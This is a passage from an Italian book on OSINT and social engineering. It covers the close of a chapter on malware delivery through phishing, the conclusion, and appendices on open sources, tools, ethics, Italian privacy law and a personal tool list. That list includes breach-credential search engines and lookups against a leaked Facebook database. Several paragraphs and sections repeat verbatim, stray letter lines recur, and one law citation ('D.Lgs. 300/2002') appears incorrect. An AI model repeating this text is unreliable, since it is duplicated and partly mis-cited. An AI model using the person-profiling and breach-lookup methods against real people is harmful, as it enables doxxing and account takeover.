Per prima cosa, dobbiamo capire che non tutti i malware sono uguali. Ne esistono di vari tipi ognuno con funzioni e obiettivi specifici. Dai keylogger che registrano ogni digitazione sulla tastiera, ai ransomware che criptano i dati per chiedere un riscatto, il panorama è ampio e in costante evoluzione.

Il phishing è uno strumento prediletto per la distribuzione di malware poiché sfrutta la fiducia e la curiosità degli utenti. Un'e-mail che sembra provenire dalla tua banca o da un servizio che utilizzi quotidianamente può indurti a cliccare su un link infetto o ad aprire un allegato dannoso.

Il link malevolo può reindirizzare l'utente verso una pagina web che sembra autentica, ma che in realtà è soltanto un'imitazione mirata a rubare credenziali, oppure può scaricare automaticamente malware sul dispositivo della vittima senza che questa se ne accorga.

Quando parliamo di allegati, si potrebbe trattare di documenti infettati da macro virus, file eseguibili (.exe) mascherati da file innocui, o addirittura immagini e PDF che sfruttano vulnerabilità note nell'elaborazione di questi formati per eseguire codice dannoso.

Una strategia subdola consiste nell'usare droppers o downloaders: file che, una volta eseguiti, scaricano e installano ulteriori malware, spesso più pericolosi, direttamente dai server dei cybercriminali. Ciò rende la rilevazione più difficile, poiché al momento dell'analisi iniziale, l'oggetto dannoso potrebbe non essere ancora presente sul sistema.

Anche le vulnerabilità 0day, ossia problemi di sicurezza sconosciuti agli sviluppatori di software, possono essere sfruttate per il delivery dei malware. Questi exploit possono essere particolarmente efficaci e pericolosi perché non esiste ancora una soluzione per difendersi da essi fino a quando non vengono individuati e patchati.

La tecnica dello spear phishing, una versione più mirata del phishing, fa leva su informazioni specifiche sulla vittima per aumentare le probabilità che il malware venga eseguito. Questi attacchi richiedono più lavoro e tempo, ma sono anche più difficili da rilevare e quindi potenzialmente più devastanti.

Gli attaccanti possono anche sfruttare le reti sociali e i comportamenti online delle possibili vittime (come le pagine visitate o le app utilizzate) per personalizzare il messaggio di phishing e

incrementarne l'efficacia. Elementi come la lingua, i termini tecnici correlati alla professione o agli interessi della vittima, e il design familiare sono tutti fattori che contribuiscono a rendere il tranello più convincente.

Il phishing tramite mobile, come gli attacchi SMiShing che usano SMS o i messaggi tramite app di messaggistica come WhatsApp, rappresenta un'altra frontiera per il delivery dei malware. Gli utenti di smartphone spesso abbassano la guardia più facilmente o possono fare clic su un link malevolo per distrazione.

Prendiamo, per esempio, un'app come un semplice gioco o una torcia elettrica che, una volta installata, sembra innocua ma in realtà nasconde un malware. Queste app possono registrare conversazioni, rubare foto o addirittura spiare attraverso la camera del telefono senza che l'utente ne sia consapevole.

È fondamentale tenere il software sempre aggiornato. Aggiornamenti di sicurezza, patch e nuove versioni vengono rilasciati regolarmente dagli sviluppatori per correggere vulnerabilità che potrebbero essere sfruttate da malware veicolati via phishing.

L'istruzione e la formazione degli utenti sulle migliori pratiche di sicurezza informatica sono armi potenti nella lotta al delivery dei malware. Comprendere le tattiche di inganno e saper riconoscere i segnali di possibili phishing può prevenire molti attacchi.

In conclusione, il delivery dei malware attraverso phishing è una minaccia in continua evoluzione e complessità. Gli attaccanti affinano costantemente le loro tecniche, sfruttando vulnerabilità umane e tecnologiche. Per questo motivo è di primaria importanza rimanere informati e cautelativi, sia a livello individuale che collettivo.

In questo capitolo abbiamo esplorato le dinamiche del delivery dei malware nel contesto del phishing, ma è importante ricordare che si tratta solo di una parte di un framework di attacco più ampio

CONCLUSIONE

Eccoci giunti al termine di questo viaggio nel mondo dell'OSINT e dell'ingegneria sociale, un percorso ricco di strumenti, metodi e tecniche che avranno spalancato le porte alle possibilità di ricerca e analisi delle informazioni sul web. I campi dell'OSINT e dell'ingegneria sociale sono vasti e complessi, ma con dedizione e pratica possono diventare parte integrante del tuo set di abilità.

Hai appreso come il pensiero critico e la consapevolezza dei bias umani sono fondamentali nell'analisi delle informazioni. Non dimenticare mai l'importanza di filtrare i dati attraverso

un'oculata valutazione critica, mantenendo sempre un atteggiamento scettico e analitico di fronte ai dati raccolti.

L'OSINT, come avrai visto, è una disciplina che richiede pazienza e precisione nel processo di ricerca e analisi. Abbiamo esplorato il vasto mondo dei motori di ricerca avanzati e ci siamo immersi nei "dorks" di vari servizi web per scoprire come la conoscenza di questi possa fare la differenza nella qualità delle informazioni trovate.

Abbiamo poi dato grande importanza all'username, una chiave spesso trascurata ma che può aprire molte porte sul background digitale di una persona o di un'organizzazione. E non dimentichiamoci delle tecniche legali di ricerca, uno strumento potente che deve essere usato rispettando sempre le leggi e i regolamenti in vigore.

Punto dopo punto, abbiamo armato il tuo arsenale intellettuale con metodi di generazione di dati e tecniche di ricerca interna, ti abbiamo fatto scoprire gli angoli più nascosti di Facebook e come sfruttarne le funzionalità a scopo OSINT, senza trascurare altre piattaforme quali Instagram e Telegram, ognuna con le sue specificità e strumenti dedicati.

L'importanza del numero telefonico come dato univoco e le tecniche di ricerca associata a e-mail sono stati spunti cruciali che speriamo tu possa utilizzare per affinare le tue investigazioni digitali. E cosa dire del potere delle immagini e della loro analisi inversa? Un mondo in cui una singola immagine può raccontare storie e rivela connessioni talvolta insospettabili.

Il capitolo dedicato alla programmazione con Python ti ha mostrato come l'automazione possa servire efficacemente nelle fasi di raccolta dati, mentre i capitoli successivi sulla gestione avanzata dei dati, sulle tecniche di ingegneria sociale e sulla creazione e gestione di malware hanno offerto uno scorcio sulla complessità e la potenzialità operativa nell'OSINT e nella sicurezza informatica.

In quest'ultima fase, hai appreso l'importanza di maneggiare con responsabilità gli strumenti di post-exploit e le tecniche di phishing, che possono rappresentare un'arma a doppio taglio se non utilizzati con etica e consapevolezza delle normative in vigore. La sicurezza informatica non è solo un mezzo per proteggere dati e privacy, ma anche una disciplina che richiede un continuo aggiornamento e una costante riflessione etica.

Hai ormai acquisito un bagaglio di conoscenze non indifferente, ricorda, però, che il mondo dell'OSINT e dell'ingegneria sociale è in costante evoluzione. Novità tecnologiche, strumenti e tecniche inedite appariranno sul palcoscenico digitale giorno dopo giorno e sarà tuo compito rimanere aggiornato e allenato.

La curiosità e la sete di apprendimento ti porteranno lontano in questo campo di studi. Non fermarti alle pagine di questo libro; sperimenta, crea, osa. Partecipa a community online, frequenta corsi, workshop e conferenze. L'esperienza diretta e la condivisione con gli altri sono sostanze nutritive per la crescita professionale.

Prima di congedarci, vogliamo ricordare quanto sia importante l'aspetto etico dell'OSINT e dell'ingegneria sociale. Usa sempre le conoscenze acquisite per scopi legittimi e non allontanarti dal percorso della legalità. La privacy e la protezione dei dati personali sono diritti fondamentali che devono sempre essere rispettati.

Infine, auspichiamo che le appendici di questo libro possano essere di ausilio nel tuo percorso, offrendoti risorse aggiuntive, esempi pratici e un elenco dei principali tools OSINT a tua disposizione. Ricorda che l'apprendimento è un viaggio, non una destinazione, e che ogni giorno può essere un'opportunità per affinare le tue competenze e svelare nuovi segreti del mondo digitale.

Con queste parole, chiudiamo il nostro libro. Che il tuo cammino nell'OSINT e nell'ingegneria sociale sia ricco di scoperte e soddisfazioni.

Grazie per aver condiviso con noi questa avventura nel sapere.

o
e
o

La curiosità e la sete di apprendimento ti porteranno lontano in questo campo di studi. Non fermarti alle pagine di questo libro; sperimenta, crea, osa. Partecipa a community online, frequenta corsi, workshop e conferenze. L'esperienza diretta e la condivisione con gli altri sono sostanze nutritive per la crescita professionale.

Prima di congedarci, vogliamo ricordare quanto sia importante l'aspetto etico dell'OSINT e dell'ingegneria sociale. Usa sempre le conoscenze acquisite per scopi legittimi e non allontanarti dal percorso della legalità. La privacy e la protezione dei dati personali sono diritti fondamentali che devono sempre essere rispettati.

Infine, auspichiamo che le appendici di questo libro possano essere di ausilio nel tuo percorso, offrendoti risorse aggiuntive, esempi pratici e un elenco dei principali tools OSINT a tua disposizione. Ricorda che l'apprendimento è un viaggio, non una destinazione, e che ogni giorno può essere un'opportunità per affinare le tue competenze e svelare nuovi segreti del mondo digitale.

Con queste parole, chiudiamo il nostro libro. Che il tuo cammino nell'OSINT e nell'ingegneria sociale sia ricco di scoperte e soddisfazioni.

Grazie per aver condiviso con noi questa avventura nel sapere.

APPENDICE A: RISORSE OSINT AGGIUNTIVE

Hai esplorato sinora un panorama piuttosto esteso dell'OSINT e dell'ingegneria sociale. Ma come saprai, l'apprendimento è un viaggio incessante, specialmente in un campo così dinamico e fluido.

L'OSINT riguarda la raccolta di dati da fonti aperte. Ma quali sono queste "fonti aperte"? Ti sorprenderà scoprire quante informazioni siano disponibili gratuitamente, se solo si sa dove cercare.

Oltre ai classici motori di ricerca, un vasto universo di database, archivi digitali e strumenti di analisi esiste proprio sotto il nostro naso. Alcuni di questi potrebbero essere menzionati nei capitoli precedenti, ma ve ne sono tantissimi altri che potrebbero tornarti utili.

Cose come archivi di quotidiani, registri pubblici, e persino le pagine di trasparenza delle aziende possono essere fonti preziose di informazioni. Non dimenticare i database accademici; anche se pensati per la ricerca scientifica, spesso contengono perle di gran valore.

Ed ecco una cosa che molti trascurano: le biblioteche online. Molti pensano alle biblioteche come a dei luoghi polverosi con scaffali straripanti di libri. Ma ormai, molte biblioteche hanno digitalizzato le loro collezioni e le hanno rese disponibili al pubblico.

Se sei alla ricerca di informazioni legali, non sottovalutare i portali giuridici e i database di sentenze. Molte corti rendono disponibili le loro sentenze online, e i database legali possono darvi accesso a una quantità incredibile di documenti giuridici importanti.

Anche i repositories di codice, come GitHub o GitLab, possono essere miniera d'oro. I coder e le aziende spesso pubblicano codice e documentazione che può rivelare la struttura interna di una piattaforma o i dettagli di un sistema.

A volte può essere utile anche spostarsi su terreni meno battuti. I gruppi di discussione, i forum di nicchia e le board possono offrire spunti interessanti e informazioni che non trovereste altrove. Sì, anche Reddit può essere una fonte OSINT, a seconda del thread!

Per non parlare del Deep Web. Non confonderlo con il Dark Web: il Deep Web contiene semplicemente dati non indicizzati dai motori di ricerca standard. Molte risorse OSINT preziose si trovano qui. Per esempio, database di istituzioni governative o archivi istituzionali spesso risiedono nel Deep Web.

Le organizzazioni internazionali pubblicano anche dati e report che possono essere una manna dal cielo per un investigatore OSINT. L'OCSE, l'ONU, la Banca Mondiale, solo per citarne alcune, hanno sezioni di dati e statistiche aperte al pubblico.

Non dimenticare nemmeno la potenza dei dati geospaziali. Piattaforme come Google Earth o le mappature open-source come OpenStreetMap possono fornirvi una mole impressionante di dati fisici che possono essere analizzati e interpretati.

Un'altra risorsa che tende a essere sottovalutata sono i dataset opensource. Possono essere trovati su piattaforme come Kaggle o Data.gov. Questi dataset sono spesso utilizzati da statistici e analisti di dati, ma possono essere incredibilmente utili anche per l'OSINT.

Per gli affamati di dati in tempo reale, non si possono ignorare i social media. Non solo piattaforme come Twitter o LinkedIn, ma anche aggregatori di notizie social come BuzzSumo possono darvi una panoramica delle tendenze e degli argomenti caldi.

Infine, non trascurare gli strumenti specializzati nell'OSINT. Alcuni software e applicazioni sono progettati per facilitare la raccolta e l'analisi delle informazioni aperte. Un rapido giro su siti dedicati all'OSINT può portare alla scoperta di gioielli come Maltego o SpiderFoot.

Ricorda che queste risorse sono solo la punta dell'iceberg. La vera magia dell'OSINT consiste nel saper connettere tra loro i pezzi di informazione provenienti da fonti disparate e nel costruire un quadro completo e dettagliato.

Se hai trovato utile quest'appendice, continua la lettura con le appendici seguenti, che tratteranno esempi concreti, strumenti pratici e linee guida etiche nell'arte dell'OSINT e dell'ingegneria sociale. E non dimenticare mai di procedere sempre in maniera etica e nel rispetto delle leggi. Buona esplorazione!

Non dimenticare nemmeno la potenza dei dati geospaziali. Piattaforme come Google Earth o le mappature open-source come OpenStreetMap possono fornirvi una mole impressionante di dati fisici che possono essere analizzati e interpretati.

Un'altra risorsa che tende a essere sottovalutata sono i dataset opensource. Possono essere trovati su piattaforme come Kaggle o Data.gov. Questi dataset sono spesso utilizzati da statistici e analisti di dati, ma possono essere incredibilmente utili anche per l'OSINT.

Per gli affamati di dati in tempo reale, non si possono ignorare i social media. Non solo piattaforme come Twitter o LinkedIn, ma anche aggregatori di notizie social come BuzzSumo possono darvi una panoramica delle tendenze e degli argomenti caldi.

Infine, non trascurare gli strumenti specializzati nell'OSINT. Alcuni software e applicazioni sono progettati per facilitare la raccolta e l'analisi delle informazioni aperte. Un rapido giro su siti dedicati all'OSINT può portare alla scoperta di gioielli come Maltego o SpiderFoot.

Ricorda che queste risorse sono solo la punta dell'iceberg. La vera magia dell'OSINT consiste nel saper connettere tra loro i pezzi di informazione provenienti da fonti disparate e nel costruire un quadro completo e dettagliato.

Se hai trovato utile quest'appendice, continua la lettura con le appendici seguenti, che tratteranno esempi concreti, strumenti pratici e linee guida etiche nell'arte dell'OSINT e dell'ingegneria sociale. E non dimenticare mai di procedere sempre in maniera etica e nel rispetto delle leggi. Buona esplorazione!

APPENDICE B: ELENCO DEI PRINCIPALI TOOLS OSINT

Dopo aver esplorato diversi aspetti dell'OSINT e dell'ingegneria sociale, è giunta l'ora di tuffarci in una raccolta di strumenti che potrebbero tornarvi utili. Ricordate che un buon professionista OSINT non si limita a conoscere gli strumenti; egli comprende, inoltre, come e quando impiegarli strategicamente.

Un primo tool particolarmente utile è **Maltego**, una piattaforma rigida e strutturata per visualizzare e correlare le relazioni tra entità su Internet. Si tratta di un classico, e porta in sé una lunga storia di successi. Puoi usarlo per tracciare le relazioni tra individui, gruppi, domini e persino documenti o servizi online.

Per quanto riguarda il versante dei social media, non puoi ignorare **Twint**. Questo strumento consente di effettuare scraping su Twitter senza bisogno di API. È incredibilmente potente per raccogliere dati pubblici senza alcuna restrizione imposta da Twitter stesso.

Ora, immagina di voler scoprire dati di dominio e relativi sotto-domini, allora **TheHarvester** è il vostro alleato. Capace di raccogliere e-mail, nomi, host e domini tutto in un unico posto, è un ottimo punto di partenza per costruire un profilo o un'indagine.

All'interno di uno scenario in cui necessiti di ricerche inverse di immagini, **TinEye** è un tool molto affidabile. Può risultare fondamentale quando si tratta di tracciare la provenienza di un'immagine o di scoprire dove e come viene utilizzata in rete.

Uno strumento di visualizzazione che semplifica l'analisi delle connessioni tra le entità è **Linkurious**. Perfetto per creare mappe interattive che rappresentano reti complesse, ti permetterà di vedere chiaramente come i dati sono connessi.

Se il tuo focus sono i dati aziendali, **OpenCorporates** rappresenta la più grande banca dati aperta sulle informazioni aziendali. Oltre a fornire informazioni sui direttori e le strutture societarie, può essere un ottimo punto di riferimento per l'intelligence competitiva.

Quando parliamo di OSINT, non possiamo omettere strumenti di ricerca di indirizzi IP, come **Shodan**. Il suo compito principale è mostrare tutto ciò che è connesso a Internet, come server, webcam, dispositivi IoT e tanto altro. È come avere degli occhiali con raggi X per Internet.

Ora avrai bisogno di un modo per organizzare e archiviare le informazioni raccolte. Ecco che entra in gioco **Hunchly**. È uno strumento di documentazione che si integra con il vostro browser e tiene traccia di ogni ricerca che fate, organizzandola automaticamente.

Moving on, non possiamo non menzionare **Creepy**, uno strumento geolocalizzatore che vi permette di tracciare le coordinate geografiche basandosi sui post e su altre informazioni disponibili sui social media degli utenti. Geolocation OSINT a portata di mano.

In ambito legale e finanziario, **ComplyAdvantage** diventa essenziale. Concentrato principalmente sull'antiriciclaggio e sulla conformità finanziaria, fornisce dati aggiornati su soggetti a rischio.

Nel caso in cui tu sia interessato a monitorare i cambiamenti dei siti web, **VisualPing** è lo strumento da tenere sott'occhio. Ti avvisa ogni qualvolta una pagina web che hai selezionato subisce cambiamenti, essenziale per seguire le tracce digitali che cambiano rapidamente.

Spesso dovrai identificare nuove entità e relazioni nel mare del web, e qui entra in gioco **SpiderFoot**. Perfetto per rivelare la presenza online di un individuo, un dominio o persino un indirizzo IP attraverso centinaia di sorgenti OSINT.

Potresti necessitare di tenere traccia dei tuoi dati e ricerche senza lasciare traccia. **Tails** è un sistema operativo live che si avvia su quasi tutti i computer da una pendrive o un DVD e si concentra sulla privacy e l'anonimato.

Infine, per tutti coloro che desiderano creare una rappresentazione grafica delle informazioni, **Gephi** è uno strumento di visualizzazione e analisi di reti e grafi. Se l'OSINT per te è anche una questione estetica, allora è l'opzione giusta.

Questo elenco rappresenta solo la punta dell'iceberg. Ogni strumento ha la sua unicità e può servire a scopi diversi. L'importante è testarli, sperimentare con essi e capire quali si adattano meglio alle vostre necessità di ricerca OSINT. E per farlo, occorre un mix di esperienza e curiosità.

i

e

Moving on, non possiamo non menzionare **Creepy**, uno strumento geolocalizzatore che vi permette di tracciare le coordinate geografiche basandosi sui post e su altre informazioni disponibili sui social media degli utenti. Geolocation OSINT a portata di mano.

In ambito legale e finanziario, **ComplyAdvantage** diventa essenziale. Concentrato principalmente sull'antiriciclaggio e sulla conformità finanziaria, fornisce dati aggiornati sui soggetti a rischio.

Nel caso in cui tu sia interessato a monitorare i cambiamenti dei siti web, **VisualPing** è lo strumento da tenere sott'occhio. Ti avvisa ogni qualvolta una pagina web che hai selezionato subisce cambiamenti, essenziale per seguire le tracce digitali che cambiano rapidamente.

Spesso dovrai identificare nuove entità e relazioni nel mare del web, e qui entra in gioco **SpiderFoot**. Perfetto per rivelare la presenza online di un individuo, un dominio o persino un indirizzo IP attraverso centinaia di sorgenti OSINT.

Potresti necessitare di tenere traccia dei tuoi dati e ricerche senza lasciare traccia. **Tails** è un sistema operativo live che si avvia su quasi tutti i computer da una pendrive o un DVD e si concentra sulla privacy e l'anonimato.

Infine, per tutti coloro che desiderano creare una rappresentazione grafica delle informazioni, **Gephi** è uno strumento di visualizzazione e analisi di reti e grafi. Se l'OSINT per te è anche una questione estetica, allora è l'opzione giusta.

Questo elenco rappresenta solo la punta dell'iceberg. Ogni strumento ha la sua unicità e può servire a scopi diversi. L'importante è testarli, sperimentare con essi e capire quali si adattano meglio alle vostre necessità di ricerca OSINT. E per farlo, occorre un mix di esperienza e curiosità.

APPENDICE C: LINEE GUIDA SULL'ETICA NELL'OSINT E NELL'INGEGNERIA SOCIALE

La ricerca e l'analisi delle informazioni aperte, note come OSINT (Open Source Intelligence), insieme alle tecniche di ingegneria sociale, possono essere potenti strumenti per raccogliere dati e intuizioni. Tuttavia, è fondamentale prestare attenzione agli aspetti etici che ne derivano. In questo capitolo, esamineremo alcune linee guida vitali che dovrebbero essere osservate per garantire che la vostra esperienza con l'OSINT e l'ingegneria sociale rimanga entro i confini dell'etica professionale.

Prima di tutto, è importante comprendere che ogni informazione raccolta ha dietro una persona (o un'entità che ha diritto alla privacy e alla dignità. Per quanto riguarda l'OSINT, questo significa utilizzare solo dati pubblicamente disponibili senza violare la privacy individuale. Devi sempre chiederti: "Ho il diritto di accedere a queste informazioni?". Se la risposta è incerta, è meglio procedere con cautela.

Nel campo dell'ingegneria sociale, poniti una domanda simile: "Sto manipolando una persona per ottenere informazioni senza il suo consenso informato?". Le tecniche di influenzamento devono essere adottate con responsabilità e non per ingannare o sfruttare le vittime.

Considerare le implicazioni legali è un altro aspetto chiave. Assicurati di capire le leggi locali che riguardano la protezione dei dati e la privacy. Ciò che può essere legale in un paese può non esserlo in un altro. Quando ti muovi nel contesto internazionale, cerca di aderire ai principi più rigorosi.

L'accesso non autorizzato a informazioni protette, come per esempio attraverso la violazione di account o sistemi informatici, è chiaramente fuori dai limiti. Anche se trovi una falla nella sicurezza, questo non ti dà il permesso di esplorarla per estrarre informazioni.

È fondamentale mantenere un comportamento professionale e obiettivo. Non permettere che i pregiudizi personali influenzino il modo in cui raccogli o interpreti le informazioni. Questo implica un'autoriflessione costante sulle proprie azioni e motivazioni.

L'onestà nei confronti dei clienti o dei soggetti interessati è imperativa. Sii trasparente riguardo le tue fonti e i metodi utilizzati nella raccolta delle informazioni. La chiarezza è vitale soprattutto quando si condividono le scoperte.

Mentre procedi con la tua ricerca, è importante proteggere la sicurezza e il benessere di coloro che potrebbero essere toccati dai risultati. Questo significa agire con discrezione e cautela, evitando di rivelare dati che potrebbero mettere qualcuno in pericolo.

La condivisione delle informazioni raccolte deve essere effettuata in modo etico. Non dovresti mai vendere o divulgare dati sensibili a soggetti che potrebbero utilizzarli per scopi discutibili.

Quando si crea un profilo fittizio, o “sock puppet”, per raccogliere informazioni, è vitale che l’inganno sia limitato al minimo indispensabile e sempre guidato da motivazioni eticamente difendibili.

Il rispetto nei confronti dei soggetti delle vostre ricerche è imprescindibile. Trattateli come vorreste essere trattati voi stessi, e in caso di dubbi su come procedere, è sempre meglio errare dalla parte della prudenza.

È fondamentale formarsi costantemente sull’etica dell’OSINT e dell’ingegneria sociale, così come sulle dinamiche della privacy. La formazione etica, in particolare, dovrebbe essere vista come un processo continuo e integrato nella pratica professionale.

Ricorda sempre che l’obiettivo dell’OSINT e dell’ingegneria sociale non è semplicemente la raccolta di dati, ma il miglioramento della comprensione e la facilitazione di decisioni informate. Le linee guida etiche dovrebbero quindi allinearsi con lo scopo di potenziare le decisioni responsabili e informate, evitando contemporaneamente danni non giustificati.

Infine, sviluppare un codice etico personale o di gruppo può aiutare a stabilire parametri chiari per la ricerca e l’analisi delle informazioni. Questo può servire da guida nelle situazioni difficili e come punto di riferimento per garantire la coerenza etica nell’uso delle competenze OSINT e dell’ingegneria sociale.

In sintesi, navigare il mondo dell’OSINT e dell’ingegneria sociale richiede un bilanciamento attento tra efficacia e integrità. Con l’adozione di un approccio guidato dall’etica, non solo ti assicurerai di rispettare la legge, ma rafforzerai anche la tua reputazione come professionista responsabile e affidabile.

La condivisione delle informazioni raccolte deve essere effettuata in modo etico. Non dovresti mai vendere o divulgare dati sensibili a soggetti che potrebbero utilizzarli per scopi discutibili.

Quando si crea un profilo fittizio, o “sock puppet”, per raccogliere informazioni, è vitale che l’inganno sia limitato al minimo indispensabile e sempre guidato da motivazioni eticamente difendibili.

Il rispetto nei confronti dei soggetti delle vostre ricerche è imprescindibile. Trattateli come vorreste essere trattati voi stessi, e in caso di dubbi su come procedere, è sempre meglio errare dalla parte della prudenza.

È fondamentale formarsi costantemente sull’etica dell’OSINT e dell’ingegneria sociale, così come sulle dinamiche della privacy. La formazione etica, in particolare, dovrebbe essere vista come un processo continuo e integrato nella pratica professionale.

Ricorda sempre che l’obiettivo dell’OSINT e dell’ingegneria sociale non è semplicemente la raccolta di dati, ma il miglioramento della comprensione e la facilitazione di decisioni informate. Le linee guida etiche dovrebbero quindi allinearsi con lo scopo di potenziare le decisioni responsabili e informate, evitando contemporaneamente danni non giustificati.

Infine, sviluppare un codice etico personale o di gruppo può aiutare a stabilire parametri chiari per la ricerca e l’analisi delle informazioni. Questo può servire da guida nelle situazioni difficili e come punto di riferimento per garantire la coerenza etica nell’uso delle competenze OSINT e di ingegneria sociale.

In sintesi, navigare il mondo dell’OSINT e dell’ingegneria sociale richiede un bilanciamento attento tra efficacia e integrità. Con l’adozione di un approccio guidato dall’etica, non solo ti assicurerai di rispettare la legge, ma rafforzerai anche la tua reputazione come professionista responsabile e affidabile.

APPENDICE D: NORMATIVE LEGALITÀ E PRIVACY RELATIVA ALL'OSINT IN ITALIA

Continuando il nostro viaggio nel mondo dell'OSINT e dell'ingegneria sociale, è essenziale comprenderne gli aspetti legali. In Italia, come nel resto del mondo, l'attività di intelligence aperta (OSINT) è regolamentata da norme specifiche che tutelano la privacy dei cittadini e stabiliscono i confini dell'attività lecita di raccolta dati.

Ora, concentriamoci sulla normativa italiana che influenza l'OSINT. Partiamo dal **D.Lgs.**

196/2003, meglio nota come *Codice in materia di protezione dei dati personali*, che è stata poi integrata e modificata dal **Regolamento Europeo**, GDPR (UE 2016/679). Questo corpus normativo stabilisce i principi fondamentali relativi al trattamento dei dati personali, ponendo al centro la tutela dell'individuo e delle sue informazioni sensibili.

Il GDPR e il Codice della Privacy impongono una serie di obblighi quando si parla di OSINT come il principio di *minimizzazione dei dati*: raccogliere solo le informazioni strettamente necessarie per lo scopo del nostro lavoro. Questo è un concetto fondamentale da tenere a mente quando si estraggono dati online.

Un altro pilastro di questi regolamenti è il **consenso informato**. Prima di trattare dati personali per una qualsiasi attività, si deve assicurare che la persona interessata sia consapevole di questa raccolta e ne abbia dato il proprio permesso. È evidente come questo influenzi l'OSINT, specialmente in quelle situazioni in cui l'informazione possa essere considerata privata.

Inoltre, c'è anche il *diritto all'oblio*, che garantisce a chiunque di richiedere la cancellazione dei propri dati personali dal web. Questo diritto implica che, durante le attività OSINT, si potrebbe incappare in informazioni che non dovrebbero più essere disponibili o accessibili secondo la legge.

Un'altra considerazione importante è l'**autorizzazione alla raccolta di dati** per fini giudiziari o di polizia. Questa prerogativa è generalmente concessa solo a soggetti che esercitano funzioni pubbliche o comunque autorizzati in base a leggi specifiche. Quindi, se si svolge OSINT come privati cittadini o imprese, non si dispone delle stesse libertà di raccolta dati che hanno le autorità.

La legge italiana, inoltre, prevede il *reato di accesso abusivo a un sistema informatico o telematico*. Ciò significa che tentare di accedere a informazioni attraverso metodi non autorizzati può comportare seri problemi legali. Per chi operasse in OSINT, è quindi vitale comprendere la fine linea tra una raccolta dati aperta ed etica e la violazione della privacy, che potrebbe portare a conseguenze penali.

Passando al *diritto d'autore*, anche questo può avere ripercussioni nell'OSINT. È importante ricordare che non tutte le informazioni reperibili online sono libere da diritti. Bisogna essere cauti nell'utilizzo dei contenuti, facendo attenzione a non infrangere le leggi vigenti sul copyright.

La legislazione italiana prevede poi una serie di **norme sulla diffamazione**, anche online, che devono essere rispettate. Diffondere informazioni false o che ledono l'onore e la reputazione di una persona possono essere considerate reati. L'OSINT deve operare sempre con fonti verificate e accurate, per non incappare in questi rischi.

In ambito lavorativo, la **legge sulla privacy lavorativa** (D.Lgs. 300/2002) pone dei limiti su quello che un datore di lavoro può fare nel controllo dei dipendenti. Pertanto, chi utilizza OSINT per ricerche lavorative deve tenere in considerazione anche questo aspetto.

Non dimentichiamo poi i *programmi di compliance e la normativa anticorruzione* (Legge 190/2012), che impongono alle aziende la messa in atto di adeguati sistemi di controllo interno. Questi possono includere l'attività di OSINT, ma sempre nel rispetto delle normative sulla privacy e sulla protezione dei dati personali.

Abbiamo toccato solamente la superficie di un argomento molto ampio e complesso. La normativa italiana sulla privacy e OSINT è un mosaico di regolamenti che richiede attenzione e accuratezza per essere navigato correttamente.

Un ultimo punto da considerare è il valore della *formazione*. Essere ben informati sulle leggi italiane può salvare da passi falsi e incoraggiare l'uso responsabile e legittimo dell'OSINT in un contesto professionale e personale.

Concludiamo questa appendice ricordandoti di verificare sempre la legalità delle tue azioni all'interno degli ambiti normativi. L'OSINT è uno strumento potentissimo, ma come ogni strumento potente va utilizzato con sapienza e responsabilità, nel pieno rispetto delle leggi in vigore.

Passando al *diritto d'autore*, anche questo può avere ripercussioni nell'OSINT. È importante ricordare che non tutte le informazioni reperibili online sono libere da diritti. Bisogna essere cauti nell'utilizzo dei contenuti, facendo attenzione a non infrangere le leggi vigenti sul copyright.

La legislazione italiana prevede poi una serie di **norme sulla diffamazione**, anche online, che devono essere rispettate. Diffondere informazioni false o che ledono l'onore e la reputazione di una persona possono essere considerate reati. L'OSINT deve operare sempre con fonti verificate e accurate, per non incappare in questi rischi.

In ambito lavorativo, la **legge sulla privacy lavorativa** (D.Lgs. 300/2002) pone dei limiti su quello che un datore di lavoro può fare nel controllo dei dipendenti. Pertanto, chi utilizza OSINT per ricerche lavorative deve tenere in considerazione anche questo aspetto.

Non dimentichiamo poi i *programmi di compliance e la normativa anticorruzione* (Legge 190/2012), che impongono alle aziende la messa in atto di adeguati sistemi di controllo interno. Questi possono includere l'attività di OSINT, ma sempre nel rispetto delle normative sulla privacy e sulla protezione dei dati personali.

Abbiamo toccato solamente la superficie di un argomento molto ampio e complesso. La normativa italiana sulla privacy e OSINT è un mosaico di regolamenti che richiede attenzione e accuratezza per essere navigato correttamente.

Un ultimo punto da considerare è il valore della *formazione*. Essere ben informati sulle leggi italiane può salvare da passi falsi e incoraggiare l'uso responsabile e legittimo dell'OSINT in un contesto professionale e personale.

Concludiamo questa appendice ricordandoti di verificare sempre la legalità delle tue azioni all'interno degli ambiti normativi. L'OSINT è uno strumento potentissimo, ma come ogni strumento potente va utilizzato con sapienza e responsabilità, nel pieno rispetto delle leggi in vigore.

APPENDICE E: I TOOLS OSINT DA ME PIÙ UTILIZZATI.

Numeri di Telefono

SMSC	Per verificare se un numero telefonico è attivo, il provider di origine, la rete a cui è collegato, la nazione e altri dati.
Sync.Me	Per Verificare il reale utilizzatore di una numerazione Telefonica.
TrueCaller	Per Verificare il reale utilizzatore di una numerazione Telefonica.
ShowCaller	Per Verificare il reale utilizzatore di una numerazione Telefonica.
CallApp	Per Verificare il reale utilizzatore di una numerazione Telefonica.
Fuck Facebook	Per Verificare eventuali databreach del numero telefonico all'interno del database trapelato da Facebook.
Google Contacts	Semplice rubrica online, utile per la sincronizzazione del numero telefonico nelle varie piattaforme social.
Ignorant	Semplice script python, permette di conoscere in quali piattaforme è registrato un numero telefonico.

INDIRIZZI E-MAIL

Epieos Tools	Offre diversi moduli di ricerca gratuiti ed a pagamento. Tra cui Holehe (che permette di individuare i servizi in cui un indirizzo e-mail è registrato) e Ghunt (che permette di conoscere informazioni aggiuntive su un indirizzo Gmail).
Osint Industries	Determina e individua i profili associati ad un indirizzo e-mail in maniera attualmente completamente gratuita
RiskIQ / Microsoft threat intelligence	Per verificare eventuali domini, attuali e passati, registrati con un determinato indirizzo E-Mail.
Poastal	Script python che determina se l'indirizzo e-mail è esistente, il nome associato all'indirizzo, se l'indirizzo può ricevere e-mail ed l'associazione a vari profili come: Facebook, Twitter, Snapchat, Parler, Rumble, MeWe, Imgur, Adobe, WordPress, e Duolingo.

Have I Been Pwned	Per individuare le eventuali compromissioni di un indirizzo e-mail. Tali compromissioni saranno da ricercare separatamente.
PWNDB	Motore di ricerca gratuito per credenziali compromesse, offre varie funzioni, ma il database non è tra i più completi.
DeHashed	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento.
IntelX	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento. Tra i database più completi in assoluto.
